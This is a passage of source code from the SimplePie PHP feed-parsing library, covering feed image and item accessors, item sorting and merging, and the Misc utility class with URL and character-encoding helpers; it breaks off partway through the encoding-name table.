} elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_090, 'title')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
} elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'title')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
} elseif ($return = $this->get_image_tags(self::NAMESPACE_DC_11, 'title')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
} elseif ($return = $this->get_image_tags(self::NAMESPACE_DC_10, 'title')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
}
return null;
}
/**
* Get the feed logo's URL
*
* RSS 0.9.0, 2.0, Atom 1.0, and feeds with iTunes RSS tags are allowed to
* have a "feed logo" URL. This points directly to the image itself.
*
* Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`,
* `<image><title>` or `<image><dc:title>`
*
* @return string|null
*/
public function get_image_url()
{
if ($return = $this->get_channel_tags(self::NAMESPACE_ITUNES, 'image')) {
return $this->sanitize($return[0]['attribs']['']['href'], self::CONSTRUCT_IRI);
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'logo')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
} elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'icon')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
} elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_10, 'url')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
} elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_090, 'url')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
} elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'url')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
}
return null;
}
/**
* Get the feed logo's link
*
* RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" link. This
* points to a human-readable page that the image should link to.
*
* Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`,
* `<image><title>` or `<image><dc:title>`
*
* @return string|null
*/
public function get_image_link()
{
if ($return = $this->get_image_tags(self::NAMESPACE_RSS_10, 'link')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
} elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_090, 'link')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
} elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'link')) {
return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
}
return null;
}
/**
* Get the feed logo's link
*
* RSS 2.0 feeds are allowed to have a "feed logo" width.
*
* Uses `<image><width>` or defaults to 88 if no width is specified and
* the feed is an RSS 2.0 feed.
*
* @return int|null
*/
public function get_image_width()
{
if ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'width')) {
return intval($return[0]['data']);
} elseif ($this->get_type() & self::TYPE_RSS_SYNDICATION && $this->get_image_tags(self::NAMESPACE_RSS_20, 'url')) {
return 88;
}
return null;
}
/**
* Get the feed logo's height
*
* RSS 2.0 feeds are allowed to have a "feed logo" height.
*
* Uses `<image><height>` or defaults to 31 if no height is specified and
* the feed is an RSS 2.0 feed.
*
* @return int|null
*/
public function get_image_height()
{
if ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'height')) {
return intval($return[0]['data']);
} elseif ($this->get_type() & self::TYPE_RSS_SYNDICATION && $this->get_image_tags(self::NAMESPACE_RSS_20, 'url')) {
return 31;
}
return null;
}
/**
* Get the number of items in the feed
*
* This is well-suited for {@link http://php.net/for for()} loops with
* {@see get_item()}
*
* @param int $max Maximum value to return. 0 for no limit
* @return int Number of items in the feed
*/
public function get_item_quantity(int $max = 0)
{
$qty = count($this->get_items());
if ($max === 0) {
return $qty;
}
return min($qty, $max);
}
/**
* Get a single item from the feed
*
* This is better suited for {@link http://php.net/for for()} loops, whereas
* {@see get_items()} is better suited for
* {@link http://php.net/foreach foreach()} loops.
*
* @see get_item_quantity()
* @since Beta 2
* @param int $key The item that you want to return. Remember that arrays begin with 0, not 1
* @return Item|null
*/
public function get_item(int $key = 0)
{
$items = $this->get_items();
if (isset($items[$key])) {
return $items[$key];
}
return null;
}
/**
* Get all items from the feed
*
* This is better suited for {@link http://php.net/for for()} loops, whereas
* {@see get_items()} is better suited for
* {@link http://php.net/foreach foreach()} loops.
*
* @see get_item_quantity
* @since Beta 2
* @param int $start Index to start at
* @param int $end Number of items to return. 0 for all items after `$start`
* @return Item[] List of {@see Item} objects
*/
public function get_items(int $start = 0, int $end = 0)
{
if (!isset($this->data['items'])) {
if (!empty($this->multifeed_objects)) {
$this->data['items'] = SimplePie::merge_items($this->multifeed_objects, $start, $end, $this->item_limit);
if (empty($this->data['items'])) {
return [];
}
return $this->data['items'];
}
$this->data['items'] = [];
if ($items = $this->get_feed_tags(self::NAMESPACE_ATOM_10, 'entry')) {
$keys = array_keys($items);
foreach ($keys as $key) {
$this->data['items'][] = $this->make_item($items[$key]);
}
}
if ($items = $this->get_feed_tags(self::NAMESPACE_ATOM_03, 'entry')) {
$keys = array_keys($items);
foreach ($keys as $key) {
$this->data['items'][] = $this->make_item($items[$key]);
}
}
if ($items = $this->get_feed_tags(self::NAMESPACE_RSS_10, 'item')) {
$keys = array_keys($items);
foreach ($keys as $key) {
$this->data['items'][] = $this->make_item($items[$key]);
}
}
if ($items = $this->get_feed_tags(self::NAMESPACE_RSS_090, 'item')) {
$keys = array_keys($items);
foreach ($keys as $key) {
$this->data['items'][] = $this->make_item($items[$key]);
}
}
if ($items = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'item')) {
$keys = array_keys($items);
foreach ($keys as $key) {
$this->data['items'][] = $this->make_item($items[$key]);
}
}
}
if (empty($this->data['items'])) {
return [];
}
if ($this->order_by_date) {
if (!isset($this->data['ordered_items'])) {
$this->data['ordered_items'] = $this->data['items'];
usort($this->data['ordered_items'], [get_class($this), 'sort_items']);
}
$items = $this->data['ordered_items'];
} else {
$items = $this->data['items'];
}
// Slice the data as desired
if ($end === 0) {
return array_slice($items, $start);
}
return array_slice($items, $start, $end);
}
/**
* Set the favicon handler
*
* @deprecated Use your own favicon handling instead
* @param string|false $page
* @return bool
*/
public function set_favicon_handler($page = false, string $qs = 'i')
{
trigger_error('Favicon handling has been removed since SimplePie 1.3, please use your own handling', \E_USER_DEPRECATED);
return false;
}
/**
* Get the favicon for the current feed
*
* @deprecated Use your own favicon handling instead
* @return string|bool
*/
public function get_favicon()
{
trigger_error('Favicon handling has been removed since SimplePie 1.3, please use your own handling', \E_USER_DEPRECATED);
if (($url = $this->get_link()) !== null) {
return 'https://www.google.com/s2/favicons?domain=' . urlencode($url);
}
return false;
}
/**
* Magic method handler
*
* @param string $method Method name
* @param array<mixed> $args Arguments to the method
* @return mixed
*/
public function __call(string $method, array $args)
{
if (strpos($method, 'subscribe_') === 0) {
trigger_error('subscribe_*() has been deprecated since SimplePie 1.3, implement the callback yourself', \E_USER_DEPRECATED);
return '';
}
if ($method === 'enable_xml_dump') {
trigger_error('enable_xml_dump() has been deprecated since SimplePie 1.3, use get_raw_data() instead', \E_USER_DEPRECATED);
return false;
}
$class = get_class($this);
$trace = debug_backtrace(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection
$file = $trace[0]['file'] ?? '';
$line = $trace[0]['line'] ?? '';
throw new SimplePieException("Call to undefined method $class::$method() in $file on line $line");
}
/**
* Item factory
*
* @param array<string, mixed> $data
*/
private function make_item(array $data): Item
{
$item = $this->registry->create(Item::class, [$this, $data]);
$item->set_sanitize($this->sanitize);
return $item;
}
/**
* Sorting callback for items
*
* @access private
* @param Item $a
* @param Item $b
* @return -1|0|1
*/
public static function sort_items(Item $a, Item $b)
{
$a_date = $a->get_date('U');
$b_date = $b->get_date('U');
if ($a_date && $b_date) {
return $a_date > $b_date ? -1 : 1;
}
// Sort items without dates to the top.
if ($a_date) {
return 1;
}
if ($b_date) {
return -1;
}
return 0;
}
/**
* Merge items from several feeds into one
*
* If you're merging multiple feeds together, they need to all have dates
* for the items or else SimplePie will refuse to sort them.
*
* @link http://simplepie.org/wiki/tutorial/sort_multiple_feeds_by_time_and_date#if_feeds_require_separate_per-feed_settings
* @param array<SimplePie> $urls List of SimplePie feed objects to merge
* @param int $start Starting item
* @param int $end Number of items to return
* @param int $limit Maximum number of items per feed
* @return array<Item>
*/
public static function merge_items(array $urls, int $start = 0, int $end = 0, int $limit = 0)
{
if (count($urls) > 0) {
$items = [];
foreach ($urls as $arg) {
if ($arg instanceof SimplePie) {
$items = array_merge($items, $arg->get_items(0, $limit));
// @phpstan-ignore-next-line Enforce PHPDoc type.
} else {
trigger_error('Arguments must be SimplePie objects', E_USER_WARNING);
}
}
usort($items, [get_class($urls[0]), 'sort_items']);
if ($end === 0) {
return array_slice($items, $start);
}
return array_slice($items, $start, $end);
}
trigger_error('Cannot merge zero SimplePie objects', E_USER_WARNING);
return [];
}
/**
* Store PubSubHubbub links as headers
*
* There is no way to find PuSH links in the body of a microformats feed,
* so they are added to the headers when found, to be used later by get_links.
*/
private function store_links(Response $file, ?string $hub, ?string $self): Response
{
$linkHeaderLine = $file->get_header_line('link');
$linkHeader = $file->get_header('link');
if ($hub && !preg_match('/rel=hub/', $linkHeaderLine)) {
$linkHeader[] = '<'.$hub.'>; rel=hub';
}
if ($self && !preg_match('/rel=self/', $linkHeaderLine)) {
$linkHeader[] = '<'.$self.'>; rel=self';
}
if (count($linkHeader) > 0) {
$file = $file->with_header('link', $linkHeader);
}
return $file;
}
/**
* Get a DataCache
*
* @param string $feed_url Only needed for BC, can be removed in SimplePie 2.0.0
*
* @return DataCache
*/
private function get_cache(string $feed_url = ''): DataCache
{
if ($this->cache === null) {
// @trigger_error(sprintf('Not providing as PSR-16 cache implementation is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache()".'), \E_USER_DEPRECATED);
$cache = $this->registry->call(Cache::class, 'get_handler', [
$this->cache_location,
$this->get_cache_filename($feed_url),
Base::TYPE_FEED
]);
return new BaseDataCache($cache);
}
return $this->cache;
}
/**
* Get a HTTP client
*/
private function get_http_client(): Client
{
if ($this->http_client === null) {
$this->http_client = new FileClient(
$this->get_registry(),
[
'timeout' => $this->timeout,
'redirects' => 5,
'useragent' => $this->useragent,
'force_fsockopen' => $this->force_fsockopen,
'curl_options' => $this->curl_options,
]
);
$this->http_client_injected = true;
}
return $this->http_client;
}
}
class_alias('SimplePie\SimplePie', 'SimplePie');
src/Misc.php 0000644 00000210245 15220516755 0006753 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
use SimplePie\XML\Declaration\Parser;
/**
* Miscellaneous utilities
*/
class Misc
{
/** @var int|null */
private static $SIMPLEPIE_BUILD = null;
/**
* @return string
*/
public static function time_hms(int $seconds)
{
$time = '';
$hours = floor($seconds / 3600);
$remainder = $seconds % 3600;
if ($hours > 0) {
$time .= $hours.':';
}
$minutes = floor($remainder / 60);
$seconds = $remainder % 60;
if ($minutes < 10 && $hours > 0) {
$minutes = '0' . $minutes;
}
if ($seconds < 10) {
$seconds = '0' . $seconds;
}
$time .= $minutes.':';
$time .= $seconds;
return $time;
}
/**
* @return string|false
*/
public static function absolutize_url(string $relative, string $base)
{
$iri = \SimplePie\IRI::absolutize(new \SimplePie\IRI($base), $relative);
if ($iri === false) {
return false;
}
return $iri->get_uri();
}
/**
* @internal
*/
public static function is_remote_uri(string $uri): bool
{
return preg_match('/^https?:\/\//i', $uri) === 1;
}
/**
* Get a HTML/XML element from a HTML string
*
* @deprecated since SimplePie 1.3, use DOMDocument instead (parsing HTML with regex is bad!)
* @param string $realname Element name (including namespace prefix if applicable)
* @param string $string HTML document
* @return array<array{tag: string, self_closing: bool, attribs: array<string, array{data: string}>, content?: string}>
*/
public static function get_element(string $realname, string $string)
{
// trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.3, use "DOMDocument" instead.'), \E_USER_DEPRECATED);
$return = [];
$name = preg_quote($realname, '/');
if (preg_match_all("/<($name)" . \SimplePie\SimplePie::PCRE_HTML_ATTRIBUTE . "(>(.*)<\/$name>|(\/)?>)/siU", $string, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE)) {
for ($i = 0, $total_matches = count($matches); $i < $total_matches; $i++) {
$return[$i]['tag'] = $realname;
$return[$i]['full'] = $matches[$i][0][0];
$return[$i]['offset'] = $matches[$i][0][1];
if (strlen($matches[$i][3][0]) <= 2) {
$return[$i]['self_closing'] = true;
} else {
$return[$i]['self_closing'] = false;
$return[$i]['content'] = $matches[$i][4][0];
}
$return[$i]['attribs'] = [];
if (isset($matches[$i][2][0]) && preg_match_all('/[\x09\x0A\x0B\x0C\x0D\x20]+([^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*)(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"([^"]*)"|\'([^\']*)\'|([^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?/', ' ' . $matches[$i][2][0] . ' ', $attribs, PREG_SET_ORDER)) {
foreach ($attribs as $attrib) {
if (count($attrib) === 2) {
$attrib[2] = $attrib[1];
}
$return[$i]['attribs'][strtolower($attrib[1])]['data'] = Misc::entities_decode(end($attrib));
}
}
}
}
return $return;
}
/**
* @deprecated since SimplePie 1.9.0. If you need it, you can copy the function to your codebase. But you should consider using `DOMDocument` for any DOM wrangling.
* @param array{tag: string, self_closing: bool, attribs: array<string, array{data: string}>, content: string} $element
* @return string
*/
public static function element_implode(array $element)
{
// trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.9.'), \E_USER_DEPRECATED);
$full = "<{$element['tag']}";
foreach ($element['attribs'] as $key => $value) {
$key = strtolower($key);
$full .= " $key=\"" . htmlspecialchars($value['data'], ENT_COMPAT, 'UTF-8') . '"';
}
if ($element['self_closing']) {
$full .= ' />';
} else {
$full .= ">{$element['content']}</{$element['tag']}>";
}
return $full;
}
/**
* @param string $message
* @param int $level
* @param string $file
* @param int $line
* @return string
*/
public static function error(string $message, int $level, string $file, int $line)
{
if ((error_reporting() & $level) > 0) {
switch ($level) {
case E_USER_ERROR:
$note = 'PHP Error';
break;
case E_USER_WARNING:
$note = 'PHP Warning';
break;
case E_USER_NOTICE:
$note = 'PHP Notice';
break;
default:
$note = 'Unknown Error';
break;
}
$log_error = true;
if (!function_exists('error_log')) {
$log_error = false;
}
$log_file = @ini_get('error_log');
if (!empty($log_file) && ('syslog' !== $log_file) && !@is_writable($log_file)) {
$log_error = false;
}
if ($log_error) {
@error_log("$note: $message in $file on line $line", 0);
}
}
return $message;
}
/**
* @return string
*/
public static function fix_protocol(string $url, int $http = 1)
{
$url = Misc::normalize_url($url);
$parsed = Misc::parse_url($url);
if ($parsed['scheme'] !== '' && $parsed['scheme'] !== 'http' && $parsed['scheme'] !== 'https') {
return Misc::fix_protocol(Misc::compress_parse_url('http', $parsed['authority'], $parsed['path'], $parsed['query'], $parsed['fragment']), $http);
}
if ($parsed['scheme'] === '' && $parsed['authority'] === '' && !file_exists($url)) {
return Misc::fix_protocol(Misc::compress_parse_url('http', $parsed['path'], '', $parsed['query'], $parsed['fragment']), $http);
}
if ($http === 2 && $parsed['scheme'] !== '') {
return "feed:$url";
} elseif ($http === 3 && strtolower($parsed['scheme']) === 'http') {
return substr_replace($url, 'podcast', 0, 4);
} elseif ($http === 4 && strtolower($parsed['scheme']) === 'http') {
return substr_replace($url, 'itpc', 0, 4);
}
return $url;
}
/**
* @deprecated since SimplePie 1.8.0, use PHP native array_replace_recursive() instead.
* @param array<mixed> $array1
* @param array<mixed> $array2
* @return array<mixed>
*/
public static function array_merge_recursive(array $array1, array $array2)
{
foreach ($array2 as $key => $value) {
if (is_array($value)) {
$array1[$key] = Misc::array_merge_recursive($array1[$key], $value);
} else {
$array1[$key] = $value;
}
}
return $array1;
}
/**
* @return array<string, string>
*/
public static function parse_url(string $url)
{
$iri = new \SimplePie\IRI($url);
return [
'scheme' => (string) $iri->scheme,
'authority' => (string) $iri->authority,
'path' => (string) $iri->path,
'query' => (string) $iri->query,
'fragment' => (string) $iri->fragment
];
}
/**
* @return string
*/
public static function compress_parse_url(string $scheme = '', string $authority = '', string $path = '', string $query = '', ?string $fragment = '')
{
$iri = new \SimplePie\IRI('');
$iri->scheme = $scheme;
$iri->authority = $authority;
$iri->path = $path;
$iri->query = $query;
$iri->fragment = $fragment;
return $iri->get_uri();
}
/**
* @return string
*/
public static function normalize_url(string $url)
{
$iri = new \SimplePie\IRI($url);
return $iri->get_uri();
}
/**
* @deprecated since SimplePie 1.9.0. This functionality is part of `IRI` – if you need it standalone, consider copying the function to your codebase.
* @param array<int, string> $match
* @return string
*/
public static function percent_encoding_normalization(array $match)
{
$integer = hexdec($match[1]);
if ($integer >= 0x41 && $integer <= 0x5A || $integer >= 0x61 && $integer <= 0x7A || $integer >= 0x30 && $integer <= 0x39 || $integer === 0x2D || $integer === 0x2E || $integer === 0x5F || $integer === 0x7E) {
// Cast for PHPStan, the value would only be float when above PHP_INT_MAX, which would not go in this branch.
return chr((int) $integer);
}
return strtoupper($match[0]);
}
/**
* Converts a Windows-1252 encoded string to a UTF-8 encoded string
*
* @static
* @param string $string Windows-1252 encoded string
* @return string UTF-8 encoded string
*/
public static function windows_1252_to_utf8(string $string)
{
static $convert_table = ["\x80" => "\xE2\x82\xAC", "\x81" => "\xEF\xBF\xBD", "\x82" => "\xE2\x80\x9A", "\x83" => "\xC6\x92", "\x84" => "\xE2\x80\x9E", "\x85" => "\xE2\x80\xA6", "\x86" => "\xE2\x80\xA0", "\x87" => "\xE2\x80\xA1", "\x88" => "\xCB\x86", "\x89" => "\xE2\x80\xB0", "\x8A" => "\xC5\xA0", "\x8B" => "\xE2\x80\xB9", "\x8C" => "\xC5\x92", "\x8D" => "\xEF\xBF\xBD", "\x8E" => "\xC5\xBD", "\x8F" => "\xEF\xBF\xBD", "\x90" => "\xEF\xBF\xBD", "\x91" => "\xE2\x80\x98", "\x92" => "\xE2\x80\x99", "\x93" => "\xE2\x80\x9C", "\x94" => "\xE2\x80\x9D", "\x95" => "\xE2\x80\xA2", "\x96" => "\xE2\x80\x93", "\x97" => "\xE2\x80\x94", "\x98" => "\xCB\x9C", "\x99" => "\xE2\x84\xA2", "\x9A" => "\xC5\xA1", "\x9B" => "\xE2\x80\xBA", "\x9C" => "\xC5\x93", "\x9D" => "\xEF\xBF\xBD", "\x9E" => "\xC5\xBE", "\x9F" => "\xC5\xB8", "\xA0" => "\xC2\xA0", "\xA1" => "\xC2\xA1", "\xA2" => "\xC2\xA2", "\xA3" => "\xC2\xA3", "\xA4" => "\xC2\xA4", "\xA5" => "\xC2\xA5", "\xA6" => "\xC2\xA6", "\xA7" => "\xC2\xA7", "\xA8" => "\xC2\xA8", "\xA9" => "\xC2\xA9", "\xAA" => "\xC2\xAA", "\xAB" => "\xC2\xAB", "\xAC" => "\xC2\xAC", "\xAD" => "\xC2\xAD", "\xAE" => "\xC2\xAE", "\xAF" => "\xC2\xAF", "\xB0" => "\xC2\xB0", "\xB1" => "\xC2\xB1", "\xB2" => "\xC2\xB2", "\xB3" => "\xC2\xB3", "\xB4" => "\xC2\xB4", "\xB5" => "\xC2\xB5", "\xB6" => "\xC2\xB6", "\xB7" => "\xC2\xB7", "\xB8" => "\xC2\xB8", "\xB9" => "\xC2\xB9", "\xBA" => "\xC2\xBA", "\xBB" => "\xC2\xBB", "\xBC" => "\xC2\xBC", "\xBD" => "\xC2\xBD", "\xBE" => "\xC2\xBE", "\xBF" => "\xC2\xBF", "\xC0" => "\xC3\x80", "\xC1" => "\xC3\x81", "\xC2" => "\xC3\x82", "\xC3" => "\xC3\x83", "\xC4" => "\xC3\x84", "\xC5" => "\xC3\x85", "\xC6" => "\xC3\x86", "\xC7" => "\xC3\x87", "\xC8" => "\xC3\x88", "\xC9" => "\xC3\x89", "\xCA" => "\xC3\x8A", "\xCB" => "\xC3\x8B", "\xCC" => "\xC3\x8C", "\xCD" => "\xC3\x8D", "\xCE" => "\xC3\x8E", "\xCF" => "\xC3\x8F", "\xD0" => "\xC3\x90", "\xD1" => "\xC3\x91", "\xD2" => "\xC3\x92", "\xD3" => "\xC3\x93", "\xD4" => "\xC3\x94", "\xD5" => "\xC3\x95", "\xD6" => "\xC3\x96", "\xD7" => "\xC3\x97", "\xD8" => "\xC3\x98", "\xD9" => "\xC3\x99", "\xDA" => "\xC3\x9A", "\xDB" => "\xC3\x9B", "\xDC" => "\xC3\x9C", "\xDD" => "\xC3\x9D", "\xDE" => "\xC3\x9E", "\xDF" => "\xC3\x9F", "\xE0" => "\xC3\xA0", "\xE1" => "\xC3\xA1", "\xE2" => "\xC3\xA2", "\xE3" => "\xC3\xA3", "\xE4" => "\xC3\xA4", "\xE5" => "\xC3\xA5", "\xE6" => "\xC3\xA6", "\xE7" => "\xC3\xA7", "\xE8" => "\xC3\xA8", "\xE9" => "\xC3\xA9", "\xEA" => "\xC3\xAA", "\xEB" => "\xC3\xAB", "\xEC" => "\xC3\xAC", "\xED" => "\xC3\xAD", "\xEE" => "\xC3\xAE", "\xEF" => "\xC3\xAF", "\xF0" => "\xC3\xB0", "\xF1" => "\xC3\xB1", "\xF2" => "\xC3\xB2", "\xF3" => "\xC3\xB3", "\xF4" => "\xC3\xB4", "\xF5" => "\xC3\xB5", "\xF6" => "\xC3\xB6", "\xF7" => "\xC3\xB7", "\xF8" => "\xC3\xB8", "\xF9" => "\xC3\xB9", "\xFA" => "\xC3\xBA", "\xFB" => "\xC3\xBB", "\xFC" => "\xC3\xBC", "\xFD" => "\xC3\xBD", "\xFE" => "\xC3\xBE", "\xFF" => "\xC3\xBF"];
return strtr($string, $convert_table);
}
/**
* Change a string from one encoding to another
*
* @param string $data Raw data in $input encoding
* @param string $input Encoding of $data
* @param string $output Encoding you want
* @return string|false False if we can't convert it
*/
public static function change_encoding(string $data, string $input, string $output)
{
$input = Misc::encoding($input);
$output = Misc::encoding($output);
// We fail to fail on non US-ASCII bytes
if ($input === 'US-ASCII') {
static $non_ascii_octets = '';
if (!$non_ascii_octets) {
for ($i = 0x80; $i <= 0xFF; $i++) {
$non_ascii_octets .= chr($i);
}
}
$data = substr($data, 0, strcspn($data, $non_ascii_octets));
}
// This is first, as behaviour of this is completely predictable
if ($input === 'windows-1252' && $output === 'UTF-8') {
return Misc::windows_1252_to_utf8($data);
}
// This is second, as behaviour of this varies only with PHP version (the middle part of this expression checks the encoding is supported).
elseif (function_exists('mb_convert_encoding') && ($return = Misc::change_encoding_mbstring($data, $input, $output))) {
return $return;
}
// This is third, as behaviour of this varies with OS userland and PHP version
elseif (function_exists('iconv') && ($return = Misc::change_encoding_iconv($data, $input, $output))) {
return $return;
}
// This is last, as behaviour of this varies with OS userland and PHP version
elseif (class_exists('\UConverter') && ($return = Misc::change_encoding_uconverter($data, $input, $output))) {
return $return;
}
// If we can't do anything, just fail
return false;
}
/**
* @return string|false
*/
protected static function change_encoding_mbstring(string $data, string $input, string $output)
{
if ($input === 'windows-949') {
$input = 'EUC-KR';
}
if ($output === 'windows-949') {
$output = 'EUC-KR';
}
if ($input === 'Windows-31J') {
$input = 'SJIS';
}
if ($output === 'Windows-31J') {
$output = 'SJIS';
}
// Check that the encoding is supported
if (!in_array($input, mb_list_encodings())) {
return false;
}
if (@mb_convert_encoding("\x80", 'UTF-16BE', $input) === "\x00\x80") {
return false;
}
// Let's do some conversion
if ($return = @mb_convert_encoding($data, $output, $input)) {
return $return;
}
return false;
}
/**
* @return string|false
*/
protected static function change_encoding_iconv(string $data, string $input, string $output)
{
return @iconv($input, $output, $data);
}
/**
* @return string|false
*/
protected static function change_encoding_uconverter(string $data, string $input, string $output)
{
return @\UConverter::transcode($data, $output, $input);
}
/**
* Normalize an encoding name
*
* This is automatically generated by create.php
*
* To generate it, run `php create.php` on the command line, and copy the
* output to replace this function.
*
* @param string $charset Character set to standardise
* @return string Standardised name
*/
public static function encoding(string $charset)
{
// Normalization from UTS #22
// Cast for PHPStan, the regex should not fail.
switch (strtolower((string) preg_replace('/(?:[^a-zA-Z0-9]+|([^0-9])0+)/', '\1', $charset))) {
case 'adobestandardencoding':
case 'csadobestandardencoding':
return 'Adobe-Standard-Encoding';
case 'adobesymbolencoding':
case 'cshppsmath':
return 'Adobe-Symbol-Encoding';
case 'ami1251':
case 'amiga1251':
return 'Amiga-1251';
case 'ansix31101983':
case 'csat5001983':
case 'csiso99naplps':
case 'isoir99':
case 'naplps':
return 'ANSI_X3.110-1983';
case 'arabic7':
case 'asmo449':
case 'csiso89asmo449':
case 'iso9036':
case 'isoir89':
return 'ASMO_449';
case 'big5':
case 'csbig5':
return 'Big5';
case 'big5hkscs':
return 'Big5-HKSCS';
case 'bocu1':
case 'csbocu1':
return 'BOCU-1';
case 'brf':
case 'csbrf':
return 'BRF';
case 'bs4730':
case 'csiso4unitedkingdom':
case 'gb':
case 'iso646gb':
case 'isoir4':
case 'uk':
return 'BS_4730';
case 'bsviewdata':
case 'csiso47bsviewdata':
case 'isoir47':
return 'BS_viewdata';
case 'cesu8':
case 'cscesu8':
return 'CESU-8';
case 'ca':
case 'csa71':
case 'csaz243419851':
case 'csiso121canadian1':
case 'iso646ca':
case 'isoir121':
return 'CSA_Z243.4-1985-1';
case 'csa72':
case 'csaz243419852':
case 'csiso122canadian2':
case 'iso646ca2':
case 'isoir122':
return 'CSA_Z243.4-1985-2';
case 'csaz24341985gr':
case 'csiso123csaz24341985gr':
case 'isoir123':
return 'CSA_Z243.4-1985-gr';
case 'csiso139csn369103':
case 'csn369103':
case 'isoir139':
return 'CSN_369103';
case 'csdecmcs':
case 'dec':
case 'decmcs':
return 'DEC-MCS';
case 'csiso21german':
case 'de':
case 'din66003':
case 'iso646de':
case 'isoir21':
return 'DIN_66003';
case 'csdkus':
case 'dkus':
return 'dk-us';
case 'csiso646danish':
case 'dk':
case 'ds2089':
case 'iso646dk':
return 'DS_2089';
case 'csibmebcdicatde':
case 'ebcdicatde':
return 'EBCDIC-AT-DE';
case 'csebcdicatdea':
case 'ebcdicatdea':
return 'EBCDIC-AT-DE-A';
case 'csebcdiccafr':
case 'ebcdiccafr':
return 'EBCDIC-CA-FR';
case 'csebcdicdkno':
case 'ebcdicdkno':
return 'EBCDIC-DK-NO';
case 'csebcdicdknoa':
case 'ebcdicdknoa':
return 'EBCDIC-DK-NO-A';
case 'csebcdices':
case 'ebcdices':
return 'EBCDIC-ES';
case 'csebcdicesa':
case 'ebcdicesa':
return 'EBCDIC-ES-A';
case 'csebcdicess':
case 'ebcdicess':
return 'EBCDIC-ES-S';
case 'csebcdicfise':
case 'ebcdicfise':
return 'EBCDIC-FI-SE';
case 'csebcdicfisea':
case 'ebcdicfisea':
return 'EBCDIC-FI-SE-A';
case 'csebcdicfr':
case 'ebcdicfr':
return 'EBCDIC-FR';
case 'csebcdicit':
case 'ebcdicit':
return 'EBCDIC-IT';
case 'csebcdicpt':
case 'ebcdicpt':
return 'EBCDIC-PT';
case 'csebcdicuk':
case 'ebcdicuk':
return 'EBCDIC-UK';
case 'csebcdicus':
case 'ebcdicus':
return 'EBCDIC-US';
case 'csiso111ecmacyrillic':
case 'ecmacyrillic':
case 'isoir111':
case 'koi8e':
return 'ECMA-cyrillic';
case 'csiso17spanish':
case 'es':
case 'iso646es':
case 'isoir17':
return 'ES';
case 'csiso85spanish2':
case 'es2':
case 'iso646es2':
case 'isoir85':
return 'ES2';
case 'cseucpkdfmtjapanese':
case 'eucjp':
case 'extendedunixcodepackedformatforjapanese':
return 'EUC-JP';
case 'cseucfixwidjapanese':
case 'extendedunixcodefixedwidthforjapanese':
return 'Extended_UNIX_Code_Fixed_Width_for_Japanese';
case 'gb18030':
return 'GB18030';
case 'chinese':
case 'cp936':
case 'csgb2312':
case 'csiso58gb231280':
case 'gb2312':
case 'gb231280':
case 'gbk':
case 'isoir58':
case 'ms936':
case 'windows936':
return 'GBK';
case 'cn':
case 'csiso57gb1988':
case 'gb198880':
case 'iso646cn':
case 'isoir57':
return 'GB_1988-80';
case 'csiso153gost1976874':
case 'gost1976874':
case 'isoir153':
case 'stsev35888':
return 'GOST_19768-74';
case 'csiso150':
case 'csiso150greekccitt':
case 'greekccitt':
case 'isoir150':
return 'greek-ccitt';
case 'csiso88greek7':
case 'greek7':
case 'isoir88':
return 'greek7';
case 'csiso18greek7old':
case 'greek7old':
case 'isoir18':
return 'greek7-old';
case 'cshpdesktop':
case 'hpdesktop':
return 'HP-DeskTop';
case 'cshplegal':
case 'hplegal':
return 'HP-Legal';
case 'cshpmath8':
case 'hpmath8':
return 'HP-Math8';
case 'cshppifont':
case 'hppifont':
return 'HP-Pi-font';
case 'cshproman8':
case 'hproman8':
case 'r8':
case 'roman8':
return 'hp-roman8';
case 'hzgb2312':
return 'HZ-GB-2312';
case 'csibmsymbols':
case 'ibmsymbols':
return 'IBM-Symbols';
case 'csibmthai':
case 'ibmthai':
return 'IBM-Thai';
case 'cp37':
case 'csibm37':
case 'ebcdiccpca':
case 'ebcdiccpnl':
